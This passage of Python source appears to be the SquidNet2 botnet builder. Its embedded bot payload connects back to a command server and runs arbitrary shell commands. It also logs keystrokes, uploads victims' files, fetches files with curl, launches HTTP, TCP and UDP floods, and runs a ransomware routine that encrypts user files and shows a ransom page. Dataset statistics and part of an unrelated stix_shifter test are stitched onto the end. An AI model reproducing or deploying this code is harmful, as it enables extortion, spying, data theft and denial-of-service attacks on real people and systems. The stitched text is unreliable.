'Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)', 'Java/1.4.1_04',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5',
'msnbot/0.9 (+http://search.msn.com/msnbot.htm)',
'NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)', 'Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)',
'Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)',
'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)', 'Opera/8.53 (Windows NT 5.1; U; en)',
'Opera/8.01 (Windows NT 5.0; U; de)', 'Opera/8.54 (Windows NT 5.1; U; de)',
'Opera/8.53 (Windows NT 5.0; U; en)', 'Opera/8.01 (Windows NT 5.1; U; de)',
'Opera/8.50 (Windows NT 5.1; U; de)',
'Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322',
'Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)',
'Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)',
'Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)', 'Mozilla/4.5 [de] (Macintosh; I; PPC)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)',
'Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)',
'Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)', 'Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)',
'Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)',
'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)',
'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)',
'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)', 'Mozilla/5.0 (X11; Linux i686; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)',
'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)',
'Mozilla/5.0 (compatible; Konqueror/3; Linux)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)',
'Mozilla/5.0 (compatible; Konqueror/3.2; Linux)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51']
return user_agents
def stop_atk(self):
self.stopatk = True
def build_querystr(self, value):
result = ''
for i in range(value):
item = random.randint(65, 100)
result += chr(item)
return result
def ddos(self):
code = 0
if not self.stopatk:
try:
agent = random.choice(self.useragents)
req = urllib.request.Request(self.ip, headers={'User-Agent': agent,
'Referer': random.choice(
self.referers) + self.build_querystr(
random.randint(50, 100)),
'Cache-Control': 'no-cache',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive': random.randint(110, 160),
'Connection': 'keep-alive'})
urllib.request.urlopen(req)
code = 200
except urllib.error.HTTPError as e:
code_split = str(e).split()
code = code_split[2]
code = str(code[0] + code[1] + code[2])
if "500" in str(e):
code = 500
elif "429" in str(e):
code = 500
elif code.startswith('5'):
code = 500
except urllib.error.URLError as e:
if "A connection attempt failed" in str(e):
code = 500
except:
pass
return code
def start_thr(self):
while True:
try:
x = threading.Thread(target=self.ddos)
x.start()
time.sleep(self.delay)
if self.stopatk:
break
except:
pass
def ddos_start(self):
while True:
try:
http_code = self.ddos()
if http_code == 500:
break
if self.stopatk:
break
except:
pass
class TCP_UDP_Flood:
def __init__(self, ip, port, delay, pkt_size):
self.ip = ip
self.port = int(port)
self.delay = float(delay)
self.pkt_size = int(pkt_size)
self.stop = False
def gen_packet(self, size):
return random._urandom(size)
def UDP_Req(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(self.gen_packet(self.pkt_size), (self.ip, self.port))
s.close()
except:
pass
def TCP_req(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.ip, self.port))
s.send(self.gen_packet(self.pkt_size))
s.close()
except:
pass
def Stop_Atk(self):
self.stop = True
def TCP_Flood(self):
while True:
try:
tcp_req = threading.Thread(target=self.TCP_req)
tcp_req.start()
if self.stop:
break
time.sleep(self.delay)
except:
pass
def UDP_Flood(self):
while True:
try:
udp_req = threading.Thread(target=self.UDP_Req)
udp_req.start()
if self.stop:
break
time.sleep(self.delay)
except:
pass
class RansomWare:
def __init__(self, key):
self.key = key
self.fernet = Fernet(self.key)
self.dirlist = []
self.filelist = []
self.keyfile = "key.txt"
self.recovery_directory = ""
if sys.platform == "win32":
os.chdir("C:/Users/")
self.recovery_directory = f"C:/Users/{os.getlogin()}/"
else:
self.recovery_directory = "/"
os.chdir("/")
def get_dir_list(self):
for i in os.listdir():
try:
file = open(i, "rb")
file.close()
self.filelist.append(os.path.join(os.getcwd(),i))
except:
self.dirlist.append(os.path.join(os.getcwd(), i))
def encrypt_file(self, file):
try:
with open(file, "rb") as og_file:
content = self.fernet.encrypt(og_file.read())
og_file.close()
with open(file, "wb") as enc_file:
enc_file.write(content)
enc_file.close()
except:
pass
def encrypt(self):
self.get_dir_list()
for i in self.dirlist:
try:
os.chdir(i)
self.get_dir_list()
except:
pass
for i in self.filelist:
file_thread = threading.Thread(target=self.encrypt_file, args=(i,))
file_thread.start()
self.ransom()
self.checker = threading.Thread(target=self.check_key_file)
self.checker.start()
def decrypt(self):
for i in self.filelist:
try:
with open(i,"rb") as enc_file:
content = self.fernet.decrypt(enc_file.read())
enc_file.close()
with open(i,"wb") as new_file:
new_file.write(content)
new_file.close()
except:
pass
def download_emotional_support(self):
cmd = subprocess.Popen(f"cd {self.recovery_directory}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
_cmd = subprocess.Popen(f"curl -o barbara.png https://i.redd.it/w2eduogz9ir51.png", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
def recovering_html_code(self):
return f'''
<!DOCTYPE html>
<head></head>
<title>You're in Luck | Your files are being decrypted!</title>
<body bgcolor='red'>
<h1>Lucky you!</h1>
<h2>You have successfully put the correct encryption key into the text file({self.keyfile}).</h2>
<h2>Please wait a moment, as the decrypted files are being decrypted at this moment.
<h4>You can say your goodbyes to Barbara!</h4>
<img src="barbara.png" alt="Where is the image?" width="300" height="500">
</body>
'''
def ransom_html_code(self):
return f'''
<!DOCTYPE html>
<head></head>
<body bgcolor='red'>
<title>Oops! | You've been Compromised!</title>
<h1>Oops!</h1>
<h2>Looks like your files have been encrypted.</h2>
<h3>There is hope.</h3><br>
A file has been created in this directory: {self.recovery_directory}{self.keyfile}<br>
Simply place the encryption key of your files in the file(and this file only), and you will have your files back!<br>
How you will get your key? Well, that's all up to the BotMaster.
<h2>Heres a picture of Barbara! Perhaps she will give you emotional Support....</h2><br>
<img src="barbara.png" alt="Where is the image?" width="300" height="500">
</body>
'''
def check_key_file(self):
while True:
try:
file = open(f"{self.recovery_directory}{self.keyfile}","rb")
content = file.read()
if bytes(content.strip()) == self.key:
self.decryptor = threading.Thread(target=self.decrypt)
self.decryptor.start()
self.ransom(True)
break
time.sleep(1)
except:
pass
def ransom(self, recovering=False):
os.chdir(self.recovery_directory)
if not recovering:
keyfile = open(self.keyfile,"w")
keyfile.close()
self.download_emotional_support()
filename = "Oops.html"
else:
filename = "Yay.html"
bot.make_selffiles_encrypted_false()
file = open(f"{self.recovery_directory}{filename}","w")
if recovering:
file.write(self.recovering_html_code())
else:
file.write(self.ransom_html_code())
file.close()
if sys.platform == "win32":
os.startfile(file.name)
else:
os.system(f"open {file.name}")
class Bot:
def __init__(self, ip, port, enc_key):
self.ip = ip
self.port = port
self.sendingfile = False
self.enc_key = enc_key
self.can_encrypt = False
self.files_encrypted = False
self.sql_connected = False
self.keylogging = False
self.keylogthreadstarted = False
try:
self.fernet = Fernet(self.enc_key)
self.can_encrypt = True
except:
pass
self.writefile = None
self.writing_mode = False
def get_ip(self):
try:
return urllib.request.urlopen(urllib.request.Request(url="https://httpbin.org/ip")).read().decode().strip().split('"')[3]
except:
try:
return socket.gethostbyname(socket.gethostname())
except:
return "127.0.0.1"
def get_info(self):
return f"!botreg {socket.gethostname()} {self.get_ip()} {os.getlogin()} {sys.platform}".encode()
def connect(self):
while True:
try:
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect((self.ip, self.port))
banner = self.client.recv(1024).decode()
time.sleep(5)
break
except:
self.client.close()
try:
self.client.send(self.get_info())
except:
pass
reciever = threading.Thread(target=self.recv).start()
self.pkt_sender = threading.Thread(target=self.check_still_connected).start()
def initiate_connection(self):
connect = threading.Thread(target=self.connect).start()
def get_filename(self, msg):
msg = msg.split()
del msg[0]
filename = ""
for i in msg:
filename += f" {i}"
return filename.strip()
def make_selffiles_encrypted_false(self):
self.files_encrypted = False
def check_still_connected(self):
while True:
try:
self.client.send("".encode())
time.sleep(10)
except:
while True:
try:
reconnect = threading.Thread(target=self.connect).start()
break
except RuntimeError:
pass
break
def recv(self):
while True:
try:
msg = self.client.recv(10240).decode()
if not self.sendingfile:
while True:
try:
handle_msg = threading.Thread(target=self.send, args=(msg,)).start()
break
except RuntimeError:
pass
except Exception as e:
self.client.close()
while True:
try:
reconnect = threading.Thread(target=self.connect).start()
break
except RuntimeError:
pass
break
def exec_sql_cmd(self, sqlfile, cmd):
sql = sqlite3.connect(sqlfile)
cursor = sql.cursor()
cursor.execute(cmd)
output = str(cursor.fetchall())
sql.commit()
cursor.close()
sql.close()
return output
def on_press(self, key):
if self.keylogging:
self.client.send(f"!key {key}".encode())
def on_release(self, key):
pass
def start_keylog(self):
try:
with Listener(on_press=self.on_press, on_release=self.on_release) as L:
L.join()
except:
pass
def return_actual_dir(self, direc):
return direc.replace("%user%",os.getlogin())
def send(self, msg):
msg = str(msg)
if not self.writing_mode and not self.sql_connected:
try:
if msg.startswith("!open"):
filename = self.get_filename(msg)
if sys.platform == "win32":
os.startfile(filename)
else:
os.system(f"open {filename}")
elif msg.startswith("!keylog"):
if not self.keylogging:
if not self.keylogthreadstarted:
keylogger = threading.Thread(target=self.start_keylog)
keylogger.start()
self.keylogging = True
self.keylogthreadstarted = True
elif msg.startswith("!stopkeylog"):
self.keylogging = False
elif msg.startswith('!httpflood'):
msg = msg.split()
ip = msg[1]
delay = float(msg[2])
self.dos = DDoS(ip, delay)
elif msg.startswith("!sqlconnect"):
try:
self.sql_connected = True
self.sql_file = self.get_filename(msg)
file = open(self.sql_file,"rb")
file.close()
item = self.exec_sql_cmd(self.sql_file, "select sql from sqlite_master")
self.client.send(f"Successfully connected to the Database file: {self.sql_file}".encode())
except Exception as e:
self.client.send(f"There was an error connecting to file '{self.sql_file}': {e}".encode())
self.sql_connected = False
elif msg.startswith("!stopatk"):
try:
self.dos.stop_atk()
except:
pass
try:
self.tcpflood.Stop_Atk()
except:
pass
try:
self.udpflood.Stop_Atk()
except:
pass
elif msg.startswith("!tcpflood"):
msg_split = msg.split()
ip = msg_split[1]
try:
port = int(msg_split[2])
except:
port = 80
try:
delay = float(msg_split[3])
except:
delay = 0
try:
pkt_size = int(msg_split[4])
except:
pkt_size = 1024
self.tcpflood = TCP_UDP_Flood(ip, port, delay, pkt_size)
self.tcp_flood = threading.Thread(target=self.tcpflood.TCP_Flood)
self.tcp_flood.start()
elif msg.startswith("!udpflood"):
msg_split = msg.split()
ip = msg_split[1]
try:
port = int(msg_split[2])
except:
port = 80
try:
delay = float(msg_split[3])
except:
delay = 0
try:
pkt_size = int(msg_split[4])
except:
pkt_size = 1024
self.udpflood = TCP_UDP_Flood(ip, port, delay, pkt_size)
self.udp_flood = threading.Thread(target=self.udpflood.UDP_Flood)
self.udp_flood.start()
elif msg.startswith("!getcwd"):
cwd = os.getcwd()
self.client.send(f"Current working directory: {os.getcwd()}".encode())
elif msg.startswith("!changedir"):
newdir = self.return_actual_dir(self.get_filename(msg))
os.chdir(newdir)
elif msg.startswith("!viewfilecontent"):
file = msg.split()[1]
self.client.send(open(file, "rb").read())
elif msg.startswith("!listdir"):
self.client.send(f"Files in dir {os.getcwd()}: {os.listdir()}".encode())
elif msg.startswith("!mkdir"):
dir = self.get_filename(msg)
os.mkdir(dir)
elif msg.startswith("!ransomware"):
if not self.files_encrypted:
self.ransomware = RansomWare(self.enc_key)
self.ransomware.encrypt()
self.files_encrypted = True
elif msg.startswith("!createfile"):
file = self.get_filename(msg)
if file in os.listdir():
file += f"{random.randint(0,123456789)}"
fileopened = open(file, "w")
fileopened.close()
elif msg.startswith("!delfile"):
file = self.get_filename(msg)
os.remove(file)
self.client.send(f"File {file} has been deleted.".encode())
elif msg.startswith("!delfolder"):
folder = self.get_filename(msg)
shutil.rmtree(folder)
self.client.send(f"Folder {folder} has been deleted.".encode())
elif msg.startswith("!writefile"):
file = self.get_filename(msg)
self.writefile = open(file, "rb")
content = self.writefile.read()
self.writefile.close()
self.writefile = self.writefile.name
self.writing_mode = True
elif msg.startswith("!encfile"):
if self.can_encrypt:
file = self.get_filename(msg)
fileopened = open(file,"rb")
content = self.fernet.encrypt(fileopened.read())
fileopened.close()
fileopened = open(file, "wb")
fileopened.write(content)
fileopened.close()
self.client.send(f"File {file} has been encrypted.".encode())
else:
self.client.send("Cannot encrypt files due to cryptography not being installed.".encode())
elif msg.startswith("!decrypt"):
if self.can_encrypt:
file = self.get_filename(msg)
fileopened = open(file,"rb")
try:
content = self.fernet.decrypt(fileopened.read())
fileopened.close()
fileopened = open(file, "wb")
fileopened.write(content)
fileopened.close()
self.client.send(f"File {file} has been decrypted.".encode())
except Exception as e:
self.client.send(f"There was en error with decrypting file {file}.".encode())
else:
self.client.send("Cannot decrypt files due to cryptography not being installed.".encode())
elif msg.startswith("!filedownload"):
try:
file = self.get_filename(msg)
file = open(file, "rb")
length = len(open(file.name,"rb").read())
self.client.send(f"!filesize {length}".encode())
self.sendingfile = True
while True:
sendto = file.read(10240)
if not sendto:
self.sendingfile = False
break
else:
self.client.send(sendto)
time.sleep(1)
self.client.send("File transfer to server completed.".encode())
except:
length = 0
self.client.send(f"!filesize {length}".encode())
time.sleep(1)
self.client.send("File was not found in the bot directory.".encode())
elif msg.startswith("!download"):
try:
link = msg.split()[1]
file = msg.split()[2]
cmd = subprocess.Popen(f"curl -o {file} {link}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
self.client.send(f"File {file} has been downloaded from {link}.".encode())
except:
self.client.send(f"There was an error with downloading the file.".encode())
else:
cmd = subprocess.Popen(msg, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
self.client.send(cmd.stdout.read())
self.client.send(cmd.stderr.read())
except Exception as e:
pass
elif self.writing_mode:
write_msg = f"\\n{msg}".encode()
if msg == "!stopwrite":
self.writing_mode = False
else:
file = open(self.writefile, "rb")
content = file.read()
file.close()
file = open(self.writefile,"wb")
file.write(content)
file.write(write_msg)
elif self.sql_connected:
if msg.startswith("!stopsql"):
self.sql_connected = False
self.client.send("Disconnecting from the Sqlite3 Database file.".encode())
else:
try:
output = self.exec_sql_cmd(self.sql_file, msg)
self.client.send(output.encode())
except Exception as e:
self.client.send(f"There was an error in the Database file: {e}".encode())
bot = Bot('"""+self.external_ip+"""',"""+str(self.external_port)+""", """+str(self.enc_key)+""")
bot.initiate_connection()
"""
return payload
class AutoUpdate:
def __init__(self):
self.version = 4.5
def check_update(self):
print(BotNet.logo(None))
print("[+] Checking for updates.....")
version = self.version - 1.0
updated = False
try:
req = urllib.request.Request(url="https://raw.githubusercontent.com/DrSquidX/SquidNet2/main/SquidNet2Version.json")
recv = urllib.request.urlopen(req).read().decode()
version_info = open("SquidNet2Version.json","w")
version_info.write(recv)
version_info.close()
json_info = json.load(open(version_info.name,"r"))
version = float(json_info[0]["SquidNet2"])
except:
print("[+] There was an error with checking updates, starting SquidNet2.")
if version > self.version:
print(f"[+] Your Version of SquidNet2 is outdated. You have version {self.version}, whereas the current update is version v{version}.")
update = input("\n[+] Do you wish to update?(y/n): ").lower()
if update == "y" or update == "yes":
print(f"[+] Updating SquidNet2 to v{version}")
updated = True
req = urllib.request.Request(url="https://raw.githubusercontent.com/DrSquidX/SquidNet2/main/MainScripts/SquidNet2.py")
resp = urllib.request.urlopen(req).read()
file = open(sys.argv[0],"wb")
file.write(resp)
file.close()
else:
print("[+] Choosing not to update.")
if not updated:
if sys.platform == "win32":
os.system("cls")
else:
os.system("clear")
Squidnet = Config(self.version)
Squidnet.read_config()
else:
print("[+] Restart the Script to have the Update be effective!")
class Config:
"""Class needed for using the config file."""
def __init__(self, version):
self.version = version
self.config_file = "server.config"
def read_config(self):
"""The config file is read here, where the variables that are in the file are used for the main server."""
try:
file = open(self.config_file,"r")
content = file.readlines()
for i in content:
if i.startswith("\nhostip") or i.startswith("hostip"):
hostip = i.replace("=","").split()[1]
elif i.startswith("\nhostport") or i.startswith("hostport"):
hostport = int(i.replace("=","").split()[1])
elif i.startswith("\nexternal_host") or i.startswith("external_host"):
external_host = i.replace("=","").split()[1]
elif i.startswith("\nexternal_port") or i.startswith("external_port"):
external_port = int(i.replace("=","").split()[1])
elif i.startswith("\nlogfile") or i.startswith("logfile"):
logfile = i.replace("=","").split()[1]
elif i.startswith("\nadmin_name") or i.startswith("admin_name"):
admin_name = i.replace("=","").split()[1]
elif i.startswith("\nadmin_password") or i.startswith("admin_password"):
admin_password = i.replace("=","").split()[1]
elif i.startswith("\nenc_key") or i.startswith("enc_key"):
enc_key = f"{i.replace('=','').split()[1]}=".encode()
elif i.startswith("\nftp_dir") or i.startswith("ftp_dir"):
ftp_dir = i.replace("=","").split()[1]
elif i.startswith("\nransomware_active") or i.startswith("ransomware_active"):
ransomware_active = i.replace("=","").split()[1]
if ransomware_active.lower() == "f":
ransomware_active = False
else:
ransomware_active = True
Squidnet = BotNet(hostip, hostport, self.version, external_host, external_port, admin_name, admin_password, logfile, enc_key, ftp_dir, ransomware_active)
Squidnet.start()
except Exception as e:
self.gen_config_file()
def gen_config_file(self):
"""If there is an error in the usage of the config file, a new config file will be generated, and the user can simply
restart the script to have a functional server."""
print(BotNet.logo(None))
print("[+] There is an error in the config file. Re-writing and re-formatting to be able to be used by the server.")
gen_content = """
hostip = localhost
hostport = 8080
external_host = localhost
external_port = 8080
logfile = log.txt
admin_name = admin
admin_password = adminpassword12345
enc_key = iC0g4NM4xy5JrIbRV-8cZSVgFfQioUX8eTVGYRhWlF8=
ftp_dir = Bot_Files
ransomware_active = f
"""
file = open(self.config_file,"w")
file.write(gen_content)
file.close()
print("[+] The Config file has been reformatted and is now usable by the server! Restart the script to start the server.")
item = AutoUpdate()
item.check_update()
| 94.41302
| 748
| 0.562213
| 73,119
| 442,325
| 3.381105
| 0.022087
| 0.013591
| 0.054243
| 0.069553
| 0.887753
| 0.874765
| 0.865364
| 0.857877
| 0.850168
| 0.845366
| 0
| 0.165531
| 0.275279
| 442,325
| 4,684
| 749
| 94.433177
| 0.605686
| 0.018441
| 0
| 0.783243
| 0
| 0.657889
| 0.917221
| 0.047196
| 0
| 0
| 0
| 0
| 0
| 1
| 0.005658
| false
| 0.008487
| 0.000871
| 0
| 0.012187
| 0.002829
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
b44be26d3f32cdc34083952d56df5500b6f35424
| 3,940
|
py
|
Python
|
tests/bigfix_tests/test_stix_to_relevance.py
|
jlstrick83/stix-shifter
|
7903bb16f58f4ec9b7d22d575aef2a1dee63e815
|
[
"Apache-2.0"
] | null | null | null |
tests/bigfix_tests/test_stix_to_relevance.py
|
jlstrick83/stix-shifter
|
7903bb16f58f4ec9b7d22d575aef2a1dee63e815
|
[
"Apache-2.0"
] | null | null | null |
tests/bigfix_tests/test_stix_to_relevance.py
|
jlstrick83/stix-shifter
|
7903bb16f58f4ec9b7d22d575aef2a1dee63e815
|
[
"Apache-2.0"
] | null | null | null |
from stix_shifter.stix_translation import stix_translation
import unittest
translation = stix_translation.StixTranslation()
class TestStixToRelevance(unittest.TestCase, object):
def test_process_query(self):
stix_pattern = "[process:name = 'node' AND file:hashes.'SHA-256' = '0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5']"
